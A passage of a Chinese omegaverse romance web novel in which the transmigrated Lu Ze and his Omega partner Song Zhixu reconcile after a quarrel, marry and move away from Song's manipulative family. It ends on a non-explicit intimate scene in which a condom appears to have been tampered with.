宋知许觉得累,他没法跟宋女士正常的进行聊天,口不择言反讽,“那你不喜欢我爸倒插门讨好的时候觉不觉得丢脸?” “我不喜欢,所以我每一次讨好都觉得丢脸。” 说完这句宋知许很快就挂断了电话,他伏在阳台围栏上独自平复情绪。 卧室的门发出轻轻的吱呀一声,宋知许猛的回头卧室门口却空空如也,他没由来的心慌,怕刚才是陆则,又怕他只听了半截,毫不犹豫的追出门左右环顾。 没有人。 一个人影都没有。 刚才是他听错了? 追出门的Omega很快返回卧室,对自己家布置烂熟于心可以很轻松的找到任何一个死角的Alpha站在隐蔽处,陆则没什么表情的看着他返回卧室,本来就冷淡的神情此刻更是一副黑云压顶的样子。 他轻轻闭了下眼,忍了一会儿还是觉得很好笑,也随自己心意的扯起嘴角笑了下。 什么啊……?魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 20-30 第21章 第二十一章 冷落 “你怎么突然想起上班?”陆延狐疑的看他, “你告诉我,我不告诉爸妈,你是不是想借这机会跑国外不回来了?” 陆则靠在沙发上只玩手机不接话也不搭理他。 “我不能让你出去, 爸妈肯定不同意,你忘了你之前在国外玩那些极限运动鬼门关走了几回?好不容易回来怎么可能又让你跑出去。”陆延返回办公桌后坐下,“而且你有个刚终标完的老婆不抱着老婆睡觉就往外跑什么毛病?” 陆则白了他一眼不搭理他。 陆延:“?” 陆延福至心灵, “你俩吵架了啊?”他又开始充当和事佬,“不是多大事儿啊, 怎么可能不吵架呢,一个家长大的兄弟还打架呢, 老婆么, 哄着点啊, 你要真跑出去十八个小时时差还过不过了?” 他见陆则依旧不为所动直接使出杀手锏, “我告诉你, 你要出去想清楚了, 要是出去上班一年半载你别回来。” 他这话明摆着跟陆则说他要是出去就直接流放一年半载,老婆肯定都直接跟人跑了。 “不回来就不回来。”陆则看起来铁了心要出去, 也不再留下跟陆延纠缠,“哥我买票了, 你赶紧安排。” 门被生闷气的陆则迁怒摔了个震天响,坐在办公椅上的陆延没等陆则出公司就迫不及待跟好友打电话笑话自己的弟弟, “笑死我了这小子,活这么大没正经上过班, 跟老婆吵完架过来跟我说要上班,不止要上班还要去漂亮国分公司那上,十八个小时时差这小子玩异国恋啊?” 对面也没有丝毫收敛的放肆嘲笑,他笑出眼泪直呼哎呦喂, “你们家这娇娇公主,吵架还要老婆哄啊哈哈哈哈,夹痛了是不是还得老婆呼呼啊?” “滚!”陆延笑骂。 “但你还真放出去让待个一年半载的啊?你爸妈看陆则跟眼珠子似的能放人?” 陆延很头痛的捏捏鼻梁,“肯定不行啊,他学的专业八竿子打不着,而且他毕业以后也没参与管理,怎么可能放手让他出去干,想在漂亮国被强制退市啊。” “不至于吧?”卷毛很迟疑,“家大业大的。” “家大业大干一票坏的就完了。”陆延解释,“那边一个萝卜一个坑没地方塞他,给他造个职位让他去当当高管爽爽算了,我估计待不了几天,小年轻都一阵儿一阵儿的,一和好自己跑回来了。” …… 陆则犯不上生气,仅仅只是很微妙的不爽,毕竟宋知许没有很符合他的审美,也没有很香,也没有很可爱,他没有喜欢他。 搞了半天宋知许还跟他在这儿玩心眼子呢? 两人已经很长时间没有联系,或者说是单方面陆则的冷落。 【我超级好呀~:猫猫探头.jpg】 【我超级好呀~:今天吃了超级多的饭,感觉肚子肉肉的,吓的我猛喝两大杯水促进新陈代谢。】 【我超级好呀~:你还没有醒么?】 【我超级好呀~:[图片.jpg]】 【我超级好呀~:我在学怎么做漂亮饭,我要嘎嘎拍照出片。】 到这直到晚上的几个小时宋知许没有再发消息,晚上六点多的时候陆则才言简意赅的回了个嗯。 【我超级好呀~:你才醒么?】 【我超级好呀~:猫猫撒娇.jpg】 【我超级好呀~:我醒了好久一整天都很无聊,腺体晚上睡觉总是烫烫的,感觉你的信息素在里面到处转。】 对面安静了三分钟继续发消息。 【我超级好呀~:我好想你呀~】(此消息已撤回) 得不到回馈单方面的热情很快就会消弭,更何况是宋知许这样脆弱的人,他的信息在第一天晚上就直接腰斩,第二天试着发了个早安陆则的回复石沉大海他也就没再发过消息,两人的聊天界面就这么寂静下来。 996欢天喜地过大年对陆则赞不绝口,【宿主你这段剧情还原的太完美了,比原主还牛逼,扮演度嗖嗖的涨啊。】 “滚!” 996吓了一大跳,【宿主你吃炮仗了?】 “滚。” 【……滚就滚,打工统能屈能伸。】 * 陆则很快就到了漂亮国,公司里还是华人居多交流思维不算问题,但他的职位是个闻所未闻的什么总公司执行办。 陆则:“……” 他合理怀疑这是陆延为了他专门设立的一个职位。 公司里边他身边环绕的人很明显都清楚这是个家里背景牛逼的厉害的皇族,陆则也没改名就用这个名字在分公司行走,这个姓氏周围人一合计心里都跟明镜似的,都把他跟皇帝似的供着,反正不直接参与决策也不捣乱供一供早晚一天会走。 跟宋知许本来就不算多的交流因为两国十六个小时的时间差变得更加稀少,他心里每天憋着火,下巴上都冒了几颗痘,每天去公司往那一坐活脱脱一尊煞神,底下人不明白这二太子怎么坐那就阴着个脸,饶是这二太子不管事他们也得把心系裤腰带上,谁知道会不会回去告状啊。 这公司里也有从国内抽调出来员工,自然也有见过陆延的,来回看来看去实在不明白情绪稳定到像个老干部的太子怎么有个像狂躁症一样阴晴不定的弟弟,他看着看着都感觉二太子要起来打人了。 …… 他心里冒火,下班刚出公司大门就被雪扑了一脸瞬间透心凉,陆则有点懵的抬头看天,确认是真下雪了。 从国内抽调来的那个跟在陆则身后解释,“安州高海拔地区,最早九到十月就会下初雪,频率高而且会厚,您带合适的衣服了吗?” 天上飘着雪透心凉,陆则自己也透心凉,“……没带。” “这样。”那人扶了下眼镜建议,“今天时间来不及了,明天下班前我会把衣服送去您的房子。” 陆则应了声拿着钥匙就走,走了几步回头问他,“不用买衣服了,对了,这车我不用了直接放那套房子里就行是么?” “啊?”戴眼镜的一寻思这二太子就是没耐心继续上班要回去,可他也不能这么说,这么说不是戳人家心窝子么,“这里上班还是开车更方便一点,您要是不想自己开车配个司机?” “我的意思是我不上班了要回去。”陆则说回就回打开手机订票,来的时候是拿了一个行李箱但几乎什么都没装,穿的用的都是这边的人准备好他用现成的,那么现在回去也什么都不用收拾,他估摸了下时间定了第二天上午的飞机就去开车。 【宿主~?】996问,【这么快就要回去啊。】 陆则把手机一扔继续开车,“嗯——仔细一想我跟他较什么劲。”他沉默了好一会儿重重叹气,“他身边人都对他那么差劲,我还跟他较上劲了。” 陆则想想好不容易哄出壳的蜗牛这么一下又缩了回去,估计连试探的触角都不肯再伸出来了。 他心里很沉重,为宋知许,也为自己。 他要离开安州的冬天,回到那个短暂但万分重要的夏天。 …… 陆则早听说过安州治安不算很好,但治安混乱那一片离他居住的地方很远,一般而言不会遇到什么别的事情,来这儿第一天就被安顿了好几句不管看起来多么体面都要长个心眼,不要认为自己是Alpha就掉以轻心。 雪积累的速度很快,白茫茫的天地间路边黑黢黢的身影都很明显,他只管开车不去多看路边的人,刚刚下雪还没有结冰路面很好走不会打滑,但他的速度不算快,车里有些闷的慌,陆则伸手放下一半车窗,形状完整的雪花从降下的窗户飘进来,他伸手挥散不经意往外飘了眼,就看到个四周格格不入的身影 ——周围街道上一多半都是白人,体格都相当健硕,穿着很符合现在天气的衣服,这显得那个身影更瘦削可怜了点,虽然穿着外套但被风一吹就飘起来,光看着就很薄。 陆则很不确定的加了点速度,随着越靠越近陆则确定了这人就是自己想的那个。 宋知许? 他万万没想到会在安州街上碰到宋知许,他怎么来这儿了? 陆则满腹疑窦,再踩了下油门按了喇叭。 宋知许大概以为自己挡到了别人的路,那道背影先是往路里面走了走,陆则又按了声喇叭,他就又往里面走了走。 陆则:“……” 陆则长按了几秒没松手,一直往前走的宋知许终于意识到这几声喇叭可能是冲着他来的,犹豫着回头看了眼那个陌生的车辆和车牌,目光又挪到驾驶座看开车的人长什么样。 被冻的失去血色看起来更加破碎可怜的脸抬了抬,那双颜色淡淡的眼睛里满是说不出的忧愁,落在陆则脸上的目光很不确定的动了动,又不安的颤了颤走了几步靠近车辆。 确定就是陆则他顿时就笑了,下一秒白的看不出血色的鼻子眼睛一瞬间就红了起来,隔了这么远陆则还是能看清豆大的泪珠沿着脸颊一路滚下去在惨败的脸上留下一道泪痕,又被冷冰冰的风很快吹干。 宋知许又往前走了一步,似乎突然想起什么,很胆怯的在原地收住了脚步,不知所措的低着头盯着自己的鞋子看。 陆则:“……” 陆则耳朵被震的发麻,过了很久才后知后觉那是自己心跳的声音。 第22章 第二十二章 可我想你了 “你怎么在这儿?” 宋知许眼睛里全是眼泪, 止都止不住,语调平平的询问让他本来就多的眼泪更多了,眼睛包不住这么多的泪, 他低着头,眼泪像是断线的珠子淋淋沥沥的落,他用力抹了抹眼睛抬起头又朝陆则笑, “咱们好久没见了呀。” “你出来这么久……” 陆则表情不太好看,他一直在察言观色, 见状声音越来越小,抿着嘴唇露出一个有点委屈的表情, 雪越来越大, 随着风往他脸上打, 流过泪的眼睛和脸被过于凌厉的风吹的有些微微的刺痛, 站在这里不动更冷了, 他打了个寒战, 下一秒一件不算厚却带着体温和熟悉气味的外套就把他包裹住。 陆则的动作算不上温柔,动作利索的脱下外套很粗暴的把他裹了个密不透风拽着他塞到车上, 从后座拿了件备用衣服扔在他腿上才返回驾驶座开车,车载暖气被调高, 陆则一只手落在出风口感受温度,觉得足够高了调整了下方向对着宋知许吹继续往家开。 宋知许裹着外套安静的坐在那不敢吭声, 光看陆则开车的动作也不难看出对方此刻心情不算多么美妙,他觉得陆则这火是朝自己, 心里委屈更甚,也有点后悔自己脑子一热生怕想多反悔什么都没带买了票就立马过来,结果跑这么远来讨人嫌。 陆则不说话他也不敢吭声,车里安静了很久才听到陆则开口询问。 “几点来的?” “七点下飞机。”宋知许声音很低。 陆则看了眼时间气笑了, “机场到这儿车程二十分钟,你就穿这么点在安州街头晃了一个多小时?” 宋知许闭紧嘴不敢吭声了。 陆则:“……” 他太阳穴突突的跳,忍着火开口,“你以为在国内么,你一个Omega在安州快九点在街上晃?来之前为什么不给我发消息,就算来之前不给我发消息下了飞机为什么还不说话,来之前不看当地温度么,穿这么点想怎么着?” “你不理我。”宋知许揉了下眼睛靠向车窗方向。 “……你难道觉得我可能把你扔在异国街头不管你吗?”陆则闻言不可置信的看他,“你觉得我会不管你?” 宋知许裹紧外套紧贴着车窗默默摇头,虽然动作表达否认但现在浑身都是对陆则的抗拒。 陆则也气的不行,硬邦邦问,“怎么自己一个人跑出来。” 宋知许只是摇头不跟他说话,恨不得坐的离陆则更远一点,接下来不管陆则说什么宋知许都是摇头。 陆则:“……” 陆则实在没招了,又生气他一声不吭跑过来穿那么点大半夜自己在街头走,又生气他打电话说的那点话,气来气去堵得自己心口疼。 也幸亏离家没有多远了,一脚油门差不多七八分钟就到,刚停下车坐在副驾的宋知许撇下衣服就去拉车门,陆则看他这动作一副要走的样子咔嗒一声锁上门,“把衣服穿上。” 宋知许整个人紧绷绷的,怄气没有动作。 宋知许不动,陆则就这么盯着他看,两人又陷入了某种僵持都不肯低头,车门咔嗒一声,宋知许耳朵动了动知道是陆则下车了,车门现在没锁,但他依旧没有任何动作继续坐在副驾。 大约过了十几秒副驾的门被打开,冷湿的空气从外面飘进来,宋知许又打了个寒颤,陆则探入半个身体去调整座椅,座椅靠后空间一下子宽阔起来,陆则钻进来,他身上无可避免的沾了寒气,抱起宋知许没有一会儿再次暖了起来。 他也不说话,捏着宋知许的手腕塞进袖管又给他扣扣子,把两件衣服都给他穿上才罢休,也幸亏陆则衣服比起他大一些,穿两件也轻轻松松。 浑身僵硬又紧绷带着不可忽视的抗拒的宋知许也在温和的动作下慢慢放松了身体,总算不像刚才一样竖起满身的尖刺,只是他依旧低着头不肯跟陆则说话。 陆则默不作声盯了他几秒伸手去摸他的手,皮肤白某些地方冻过抓过红起来就很明显,“痒?” 宋知许闷闷嗯了声。 “一会儿回去拿温水先泡一泡。” 陆则说完这句也不吭声了,两人就保持着现在这么个诡异的姿势不动,他觉得自己不该跟宋知许怄气,不管怎么说,处于完全弱势方的宋知许,用他的话来说他什么都没有,能一个人一声不吭跑到人生地不熟的地方来找他是他完全没想到的,现在最该做的应该是好好抱抱他安慰他,可他那天的不喜欢还堵在他喉咙理咽咽不下去吐吐不出来。 陆则不是什么能毫无芥蒂咽下一切的人,自然不可能把这事当没发生过翻篇。 他掰着宋知许的脸让他抬头看自己,“为什么一个人跑到安州来?” 宋知许咬着牙瞪他。 陆则把他抱的更紧了点,“为什么?” 陆则追问,只要宋知许说点切实际服软的话,别含糊其辞的撒娇,直白一点说喜欢他,他也不再追究有多少真情多少假意,这样脆弱又敏感的人能直白表露心意,哪怕这点真情真的只占一半甚至不到也足以证明地位。 “我给你发消息你不回我。”宋知许红着眼睛叹气,不解又难过,“为什么这么对我啊。” “发消息你只回嗯,来安州之前也不跟我说。”他吸了下鼻子感到委屈的要命,被冷落半天鼓起勇气来到人生地不熟的地方又找不到陆则住所确切位置在雪天晃了半天,现在又被陆则在这里追问,“你对我那么冷淡,可我想你了啊。” 陆则:“……你打电话说不喜欢我。” “什么……?”他难过的神情凝滞了几秒,这件事并没有过去多久,他几乎瞬间就明白了陆则在说什么,有些慌乱无措的解释,“不是、那个是在跟我妈打电话,她一直逼我……”哪怕陆则早就知道他们家其余人都是什么货色,但如今不同往日,他莫名的在乎陆则怎么看他,也对于母亲迫切的势利和父亲隐身其后默许的态度感觉尤其耻辱。 “她一直逼我赶紧、赶紧想办法结婚。”宋知许抓紧了陆则的手,“我被气昏了才那么回呛她的。” “我没有不喜欢你。”他咬字说的很含糊的表露自己的心意,声音越说越微弱,勉强说完这句话就闭紧嘴巴不肯继续开口了。 陆则因为这个生气成这样让他感到了自己一直以来觉得微弱不可能又一直存在的感觉——陆则看起来真有点喜欢他。 是这样么?他不确定的想,可没有多久他就来不及思考这个了,陆则用像是要把他勒死在怀里的力道紧紧抱着他,不住的亲吻他的侧颈,一直在跟他说对不起。 没有觉得委屈的地方也被一声声对不起说的委屈起来,他抱着陆则的脑袋控诉他,“我一个人从国内跑过来什么都没带,谁也不认识,我乱糟糟的根本想不起来看这边天气,穿这件衣服一下飞机就冷。” “我知道、我知道。”陆则说,“我没想到你会出来。”他抚摸宋知许的后背低声开口,“我没想到你这么勇敢。” 宋知许带着哭腔嗯了声,“你怎么能那么对我——我知道你担心我不安全,但你不能好好说么,非得指责我才是担心吗?” “他们都指责我,你也指责我。”他说,“你一点都不好。” 陆则心里满是愧疚,“对不起宝贝、对不起,我不该一上来就说你,是我太着急了,以后不会了——我保证。” …… 沙发旁一盏昏黄的台灯散发着温暖的光,薄薄的毯子盖到宋知许背上包裹着两个人,陆则抱着怀里温暖的身体轻轻拍打,偶尔跟他说几句话。 往返两国来回奔波很累,一整天情绪大起大落也耗费精气神,宋知许软绵绵的靠在陆则肩膀上打瞌睡。 陆则把滑下的被子又扯了扯盖严实,他看着被暖黄色灯光照的很温暖平静的宋知许兀自出神。 爱真是个奇妙的东西,让人勇敢又让人猜忌,一点细微的东西都会被放大无数次胡思乱想,高高挂起时总说直接说开不会有那么多曲折与误会,但真遇到又倔强着不肯开口,两个独立的个体在相处中熟悉却又终究不能参透对方的一切想法,于是在确定十分深爱前再次试探与收敛。 真心是禁不起践踏的东西,能被人捧起接好的真心才会永远的焕发着让人心悸的光亮。 那么陆则想,他希望可以好好接住捧起。 两张脸紧紧贴在一起,陆则用嘴唇磨蹭他的侧脸,他突然开口,“回去结婚吧?” 他安静的等待着宋知许的答复,趴在怀里的人却一直没有动静,陆则偏头一看,对方的脸颊压在肩膀上,被挤压的微微张开嘴呼吸,好像已经睡着有一会儿了。 睡着的人给不出什么答复,陆则又安静的抱了一会儿,这次不是问句,他再次重复: “回去结婚吧。” 第23章 第二十三章 自由 陆延对于陆则跑出去连一周都没待并不意外, 对宋知许跟陆则一起回来也不意外,但当那本结婚证甩到面前陆则宣称要搬出去时还是瞪大了眼睛。 “你就这么、这么,领证了?”他一句话卡壳好几次才说完, 眼神里带着点说不出味道的讶异。 陆则翻开那本结婚证在陆延面前晃了晃,一副春风得意的模样,“持证上岗。” 陆延翻了个白眼, “你笑死我了,闹脾气跑外边还得老婆飞出去哄回来。” 陆则:“别酸。” 陆延:“……” 陆延往沙发上一坐冷笑了一声又一声, “酸什么酸,谁没有似的……” 陆则心情大好, 陆延说一句他回一句嘴, “你有吗?” 陆延又翻了个白眼不吭声了。 Lucky在家里到处撒欢, 见到好多天没见的陆则更加激动, 躺在陆则眼前翻着肚皮来回扭, 陆则蹲下摸了好一会儿柔软的肚皮, “Lucky我带走了啊。” “干什么?”本来都打算上楼的陆延重新坐下来,“你要把家里都搬空啊?” “谁稀罕。”陆则在那把玩那个薄薄的红本, “我买新的。” 陆延已经不知道自己今天到底是第几次无语了,一口气顶着顺了好一会儿才勉强吐出来能正常的跟陆则说话, “证领完了什么时候办婚礼?” 陆则:“看我老婆。” “……”陆延一瞬间扶着脑袋晕的要命,站起来气势汹汹指着门, “滚!现在就滚,带着狗一起滚!” * 陆则在市里有好几套房子, 也询问过宋知许要不要买套新的当婚房,但宋知许实在迫切的想从宋家搬出来,从原有的房子选来选去还是选中了那套在五环的。 他来回搬了几次先把Lucky的东西安顿好再去接宋知许,车远远停在屋子附近打算进去坐一会儿再走, 往常离很远都能看到最上方姹紫嫣红的花房已经被黑布罩上,看起来有点阴沉沉的。 他多看了几眼也没太放在心上,敲门没有等多长时间就被打开,宋知许好像一直在等他来一样,看到他就露出了很欢喜的神情,凑上来用肩膀贴了贴依偎了下才撤开收敛了神情带着他往回走。 一个大号行李箱摆在靠墙的位置,客厅里宋女士和宋父都在那里坐着,陆则进家里的时候不多,但每一次来无一例外这两位都在,宋女士又露出了惯有的笑意,而宋父依旧神情内敛,不多说话只是很轻的笑了下。 宋女士一副要谈心的模样,“好像昨天知许还小呢,结果这就结婚了。” “他刚大学毕业,确实不大。” “……”宋女士表情只是僵了一瞬间就恢复如常继续开口,“你们是不跟家里住在一起对吧?之前我还安顿知许好好孝顺孝顺家里长辈。”她去拉宋知许的手,“反正也都不远,常回家去长辈那走动走动?” 宋知许不着痕迹躲过,“再说吧。” 宋女士表情一僵,扫了坐在一旁的陆则一眼,对宋知许这么快跟陆则拿证的满意全变成了被当众下面子的不快,但陆则来家里几次对宋知许态度实在捉摸不透,她也没敢现在当着陆则面呵斥,屋子里一时间又陷入了某种寂静。 这安静让宋知许浑身别扭,他妈不是个安分下来的,谁知道安静这么一会儿又憋什么坏,他爸从始至终寂静的像个透明人,他待不下去了,也怕宋女士再口出什么惊人的话于是用胳膊肘戳了戳陆则暗示他该走了。 陆则本来就不愿意多待,见此情况直接站了起来,“那伯父伯母我跟知许就先走了,家里边也得收拾。” “哎?”宋女士站起来,“不留下吃个午饭什么的吗?” 宋女士看起来还想跟陆则提点什么,但也不外乎是他卖儿子能得到什么好处,天没聊起来场子冷冷的她也没法开这个口,看起来忍的一副很辛苦的样子。 “不了。”陆则客气又疏离,全当不知,“下次有机会。” …… 两人没让宋女士和宋父往外送,身后那扇大门关上,箱子拉着就能感到没有什么重量,似乎为了验证自己的猜想陆则一松拉杆把箱子提起来晃了晃,“装了什么?这么空。” “特别少的几件衣服,没什么重要的,那些都不要了。”他亦步亦趋跟在陆则身后,薄外套上有两个很大的口袋,宋知许伸手从里面掏出一个盒子一个小红本,“值钱的都在这儿啦。” 陆则打开后备箱把行李箱塞进去,“旧的不要了,给你买新的。” 宋知许嗯嗯两声上了副驾,很小心的把一个包着土块的白花在脚底下放好,陆则一上车看见这花想起了他们家似乎废置掉的花房,“这是什么花,你们家花房怎么围了块黑布?” “就是普通的不值钱的花,很好养活。”宋知许说,“那个花房之前一直是我在弄,反正我走了也不回去,我妈就把花房给拆掉了。” 陆则想起那一屋子被照顾的很好的、每一朵都生机勃勃的花心里有点说不出的异样,“那那些花呢?” “那些花大部分都是买回来很名贵的品种,我妈给卖掉了,到别人那里应该也会被照顾的很好。”他示意了下脚下那几苗白色的,“这种不值钱的拆花房的时候有很多被弄坏了,我妈肯定不要会扔,我就带走了。” “我最开始不会养花,活脱脱一个花朵杀手,那些名贵的很少有好养的,养一个死一个。”他说,“然后我妈就让我拿这些普通的试手,反正养来养去现在养什么都能活。” “现在那套房子没有可弄花房的地方。”陆则说,“你要是想养咱们后来再换一套,你来看怎么装修。” “重新装修会不会很麻烦?”宋知许笑眯眯的问。 “难道我会去刷墙么。”陆则说,“麻烦的是你,要一个个敲定装修很累的。” “我怕你觉得我麻烦就不要我了呀~”他半真半假的开玩笑,脑袋靠在靠背上看外面待了好多年熟悉的景色,只留给陆则一个侧脸,陆则看不到他的表情,安静了会儿也口气轻松的跟他开玩笑: “你别把我扫地出门就行。” 宋知许表情有点茫然,想着自己是不是该找个工作什么的,但他大学学的就是钢琴,技术比上不足比下有余,这个专业从某种角度也限制了他的择业,他正想着,很放松搭在腹部的手上突然落上了热源,两根手指圈成圆形圈主了他一根手指,他对陆则的动作有点懵,但依旧被这种亲昵的小动作搞的心软软的,“你干嘛呀?” “给你戴戒指。” “……”宋知许嘴唇一翘,像小狗撒娇一样哼的一声把脑袋砸进他怀里开始摇,“你真好呀真好呀~喜欢你!” 两人闹了好一会儿陆则才开车,宋知许看起来轻松了很多,神神秘秘跟他说小话。 “你知不知道我妈是倒插门?” “啊?”陆则的惊讶不是作假,他还真没从原主的记忆里知道这点,况且一般这种情况下宋知许不应该跟他爸姓么。 “她不止是倒插门,还是个特别横的倒插门。”宋知许说,“我小时候她对我可好了,等后来我姥爷没了家里钱归她管以后就开始不好了,她还有两个Omega兄弟,都被她嫁出去攀富贵去了。” “我爸他特别特别傻,他反正不太爱我,但是特别爱我妈。”宋知许靠在后面仰着脑袋看车顶,“把钱全给了我妈现在在家里话都说不上,我妈对他态度也一般,但他还是特别特别爱我妈。” “我妈她之前自己搞倒插门,讨好我姥爷、讨好我妈,讨好到最后好像全是别人欠她的似的。”宋知许瘪着嘴很可怜的看陆则,“反正他们都不值得可怜,还是我最可怜了。” “所以你得对我好一点。” 陆则眼里发热,闷闷嗯了声,宋知许却歪头跟他笑,“你声音怎么回事啊,心疼我心疼哭了啊?” “不哭不哭昂。”他嘟起嘴吹了两下,“呼呼、不哭。” 陆则沉重的同时又不可避免的带着彻底解脱的轻松,禽兽一样粗鄙的父亲、带着姐姐远走高飞的母亲、有血缘经过长时间分别没有多少情谊的姐姐,哪怕父亲入狱、母亲小心翼翼试探,他从没有逃出过那个牢笼,得到的爱与关怀也少得可怜,无处不在的生疏紧紧包裹着他,直到死亡也不算解脱。 来到这个世界属于原主的父母、哥哥、朋友。 没有什么是属于他的。 但宋知许是,与他相处的人从头到尾都是现在的陆则,对方的不安与彷徨他也尽收眼底。 没人救他,他勉强带着一身泥泞挣扎出来了,但他可以救宋知许。 宋知许温和、本性善良又柔软,闹脾气也很可爱,又会慢慢的、试探着抱上他,陆则的一身泥泞也在这种爱与温暖中被慢慢抚干净。 这不是宋知许的逃离与自由,也是他的。 第24章 第二十四章 你这么不把自己当回事吗?…… 婚服、场地、新房装修都很大程度上参考了宋知许的意见, 他相当有美商,也很有自己独特的想法,陆则跟在后面看他然后只管点头给足情绪价值, 宋知许被哄的更加雄赳赳气昂昂,每天卯足劲搞这些。 以前在家里一直是静音模式的Lucky到这儿算是彻底放飞自我,宋知许每天心情都很好, 精力也充沛的不像话,常常带Lucky去狗公园撒欢, Lucky认识了一群朋友宋知许也认识了一群狗友。 大家其实都会不自觉的优待一些美丽的事物,譬如一个美丽又年轻的Omega, 看见宋知许热情似火跟狗友聊天气的陆则在旁边就差打滚, 宋知许也好脾气的搞婚礼、交狗友、溜Lucky、哄陆则一手抓。 至于宋女士那边两人都不回去, 依陆则来看陆母那他也不愿意经常往回跑, 但宋知许很在意他在陆母那里的形象, 差不多半个月一个月就回去一次。 这么下来反倒陆则是两个人里边那个闲人。 他正在家里瘫着, 不怎么亮起来的对话框突然亮了。 【哥:你一个人回来吃饭。】 * 陆则回来的时候陆延正在客厅坐着,见他进门就起来往楼上走, “换鞋去书房。” 陆则几乎没进过这个书房,这地方就是专门让陆延加班用的, 一进门装修特别简约,桌上摆着电脑和一堆文件, 后面的柜子里放着一堆书,陆延往平常加班那个位置一坐就用挑剔的目光把陆则从头扫到尾, “你能不能起来动一动,别跟个猪似的,你不觉得你现在胖的没人样了么?” 陆则:“?” 陆则低头一看,腹肌还在, 训练痕迹确实没以前明显,“你懂什么,已婚,幸福肥。” “等你上了三十秃头大肚腩跟着你老婆出去人家以为那是你儿子。” 陆则往那一坐想了想确实该继续锻炼,但嘴上还是说,“爸这么大岁数也没秃头,那看来没有秃头基因,秃不了的。” “你少叽里呱啦说你那点歪理,等真秃了你就哭去吧。” 陆则实在无言以对,并不是很想跟陆延在这里探讨他三十会秃头的概率有多大,“没事我下去等饭了。” “等等——!”陆延瞪他一眼,“吃吃吃,就知道吃。回来什么正事都没说又要吃,坐下咱俩说会儿话。” “虽然说算是包办婚姻吧,但跟联姻也有点差别,妈也给你好好选了。”陆延说,“那会儿从跟咱们差不多家境一路往下挑,又看信息素匹配度又看性格又看长相的,最后挑中个宋知许。” “但是他家庭底蕴到底不行,那会儿选中他就说咱们给运作运作包装包装,结果你对宋知许那个样子,家里也就一直没提。” 陆则很稀奇,“我什么样?” 陆延突然闭上嘴不说话了,安静了几秒先把自己逗笑了,绘声绘色的表演起来,“宋知许说:嘬嘬嘬,你就嘿嘿嘿的上去了。” 陆则:“?” 他被陆延的表演给逗笑了。 陆延见他笑没好气的开口,“笑什么笑,不知道是谁被迷的五迷三道七荤八素的。” 这陆则没法反驳,但陆延这种单身A肯定是不会懂老婆的好的,说到这儿他开始好奇陆延嘴里那包装是什么,“所以那包装运作是什么?” “宋知许不是弹钢琴的么,他爸不是会画画,那会儿说出钱给他爸办画展请媒体搞拍卖炒作炒作把名气炒起来,然后让宋知许上去弹弹钢琴,就说他是书香世家出生长大的,给他捧捧身价咱们双方都图个好听呗。” 陆则靠在椅子上翘着二郎腿晃来晃去,好半响才说,“……没必要,我是娶宋知许还是娶‘钢琴家’宋知许呢?” “而且他也不爱弹钢琴。” 陆延并不意外,“所以说家里看你对宋知许态度就暂时没提这一茬,而且自从有了宋知许你也不怎么出去搞那些极限运动,妈觉得他能管住你还挺高兴的,总算不用提心吊胆你哪天噶了,而且他老回来陪妈什么的,不管怎么说看着对他是挺好的。” “咱们家这边基本没什么大事,但他妈等不及,前几天专门跑了趟,她还一直等着咱们他们捧起来圈钱呢。” “不就是想要钱么。”陆则没好气,“给他们单生意自己做去,省的跟个蜱虫似的动不动上来吸血。” “摊上这种人才是摊上麻烦了。”陆延很客观的评价,“而且他到底是宋知许亲妈,打断骨头连着筋。” 陆则没有继续说话的欲望了,“我认识他们是谁啊,对宋知许要是好我认他们一声爸妈,这么一般还想上来吸血,别在他面前提这个。” “反正你做好心理准备吧。”陆延轻咳了声,神情略显不自在。 陆则见状很稀奇的打量了一眼,“你什么表情。” “我跟爸妈说喜欢个Beta,他们发了半天脾气。”他又咳了声,“我准备跑路了,你准备好回来上班。” 陆则:“???” * 得知自己在不久后就要接替工作狂上班是什么感受。 陆则表示这个世界还是炸掉吧。 班都会上,也不是不能上,问题谁会喜欢上班啊?! 手指穿梭在柔软的发丝间,陆则慢慢揉捏他的头发和耳垂,坐在地毯上的宋知许干脆往陆则腿上一倒,“办完婚礼我做点什么呢?” 他询问陆则的意见,“我要不要去读个研啊?” 还没等陆则回答他就自己打消掉了这个念头,“可是我应该考不上别的专业,然后我还不想弹钢琴。” “我要不去当钢琴私教吧?”他想来想去还是只有钢琴可以拿得出手,“或者去做博主,然后接广告赚钱。” “不用你赚。”陆则摸他的耳朵,“我公司有股票,过几天看看基金给你买,躺着赚钱就行了,不想上班跟现在一样上午起床吃饭遛狗运动,跟朋友出去吃饭玩什么的,想干什么干什么,不喜欢弹琴不要弹了。” 宋知许一边的脸颊上笑出一个浅浅的酒窝,“真的呀?放在我名下啊?” “当然。”陆则肯定道,“给你的。” 宋知许有点扭捏的哼哼几声,抓住陆则的手盖住眼睛和半张脸,“那要是这样的话我就不上班了,谁会喜欢上班啊!” “但是也不能完全不上。”宋知许掀开他的手笑着看陆则,“我能不能开个赔钱的卖漂亮饭的餐厅,或者咖啡店,搞随机上班。” 陆则低下头亲了亲他,“可以。” “那赔了怎么办。”宋知许很为难的样子,“赔了我就没有钱了。” “赔的我出,赚的你自己攒着。” 为难的神情登时就从宋知许的脸上褪去了,他一瞬间喜笑颜开从陆则腿上起来抱着他的手毫不吝啬给了几个大大的亲亲,“好爱你呀~”厌衫婷 “就这么爱啊?”陆则晃晃被他亲过的手又点点嘴唇,“再多爱一点。” 宋知许毫不客气抱着他的脖子又重重亲了几下,在他肚子上捏来捏去,“你怎么能亲我呢啊,我一个黄花小O,以后嫁不出去我就赖你。” “持证上岗,合法的。”陆则说着把他抱起来颠了颠,“嗯、有点肉了。” …… 稍微长胖了点的Omega手感更好了,被养的好好的手感绵软,本来窄窄的脸不用硬挤也有了点弧度,陆则爱不释口的嘬。 不过还是个一碰就红的体质,陆则还没怎么着就红成了一只虾子,他的额头顶着宋知许的额头,“怎么还是一碰就红啊?” 宋知许闭着眼还是羞涩,断断续续开口,“嗯、不知道……” 陆则沿着他的侧脸一点点吻,边伸手去摸床头柜里的盒子,未拆的盒子上面那层塑封已经不见了,他疑惑的嗯了声,“你拆的?” 宋知许脸还是很红,睁开一只眼看了下声如蚊呐,“嗯……别用了吧?” “不行。”陆则已经拆开了一只,“对你不好,嗯?” …… 陆则的感觉说不出的奇怪,他觉得哪里不太对,但差别很细微又难以让人发觉。 打结的东西正要扔掉时陆则动作微妙一顿,提到眼前看了眼。 宋知许嗓子一紧,睁开眼,“……怎么了?” 他动作没停,扫了眼宋知许又看那东西,伸手一挤,质量一直不错的东西被挤了几下就从底下破裂开。 陆则:“……” 